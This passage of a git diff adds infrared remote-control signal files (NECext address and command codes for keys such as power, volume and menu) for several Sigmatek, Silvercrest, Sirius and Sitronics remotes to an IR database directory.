+name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 15 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 16 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 17 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 18 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 19 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1A 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1B 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1F 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 40 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 44 00 00 00 +# +name: VGA +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 48 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 4C 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 54 00 00 00 +# +name: L-R +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir new file mode 100644 index 000000000..93b81c39a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0A 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0E 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0F 00 00 00 +# +name: AB +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 12 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 15 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 16 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 17 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 19 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1C 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1F 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 40 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 44 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 45 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 46 00 00 00 +# +name: PBC +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 48 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4E 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 50 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 51 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 52 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 53 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 54 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 55 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 56 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 57 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5C 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5E 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir new file mode 100644 index 000000000..ebaedb033 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: P/N +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: HDMI +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: RESUME +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0E 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0F 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 12 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 17 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 18 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 19 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1A 00 00 00 +# +name: STEP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1B 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1E 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1F 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 41 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 45 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 46 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 48 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 49 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4B 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4C 00 00 00 +# +name: VOCAL +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4D 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4E 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4F 00 00 00 +# +name: AW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 51 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 52 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 53 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 55 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 56 00 00 00 +# +name: PBC +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 57 00 00 00 +# +name: DEFAULT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir new file mode 100644 index 000000000..abb8f3c33 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: text1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 02 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 09 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 11 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 12 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 13 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 14 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 15 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 16 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 17 00 00 00 +# +name: text3 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 18 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 19 00 00 00 +# +name: text2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1E 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 40 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 42 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 43 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 44 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 47 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 48 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 49 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 51 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 54 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 55 00 00 00 +# +name: forw +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 59 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5C 00 00 00 +# +name: text4 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir new file mode 100644 index 000000000..5389dde87 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 09 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0A 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 13 00 00 00 +# +name: skipforward +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 16 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 18 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: fastrew +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: swap +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1C 00 00 00 +# +name: pip +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 24 00 00 00 +# +name: aspect +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 25 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 26 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 48 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5E 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: FC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir new file mode 100644 index 000000000..99aa42b16 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0B 00 00 00 +# +name: cat- +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0C 00 00 00 +# +name: cat+ +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0D 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 19 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1A 00 00 00 +# +name: direct +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1E 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1F 00 00 00 +# +name: memo +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 21 00 00 00 +# +name: disp +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 22 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir new file mode 100644 index 000000000..5a7c91640 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: num0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 84 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 85 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 86 00 00 00 +# +name: up_arrow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 87 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 88 00 00 00 +# +name: right_arrow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 89 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8B 00 00 00 +# +name: down_arrow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8C 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8D 00 00 00 +# +name: fm_preset +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8E 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8F 00 00 00 +# +name: num7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 90 00 00 00 +# +name: num4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 91 00 00 00 +# +name: num1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 92 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 93 00 00 00 +# +name: num8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 94 00 00 00 +# +name: num5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 95 00 00 00 +# +name: num2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 96 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 97 00 00 00 +# +name: num9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 98 00 00 00 +# +name: num6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 99 00 00 00 +# +name: num3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 9A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 9B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 9C 00 00 00 +# +name: jump_button +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 9D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 9E 00 00 00 +# +name: left_arrow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir new file mode 100644 index 000000000..7c858a5af --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: scrollup +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: scrolldown +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: direct +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: jump +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir b/assets/resources/infrared/_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir new file mode 100644 index 000000000..a5cb78b86 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 FB 00 00 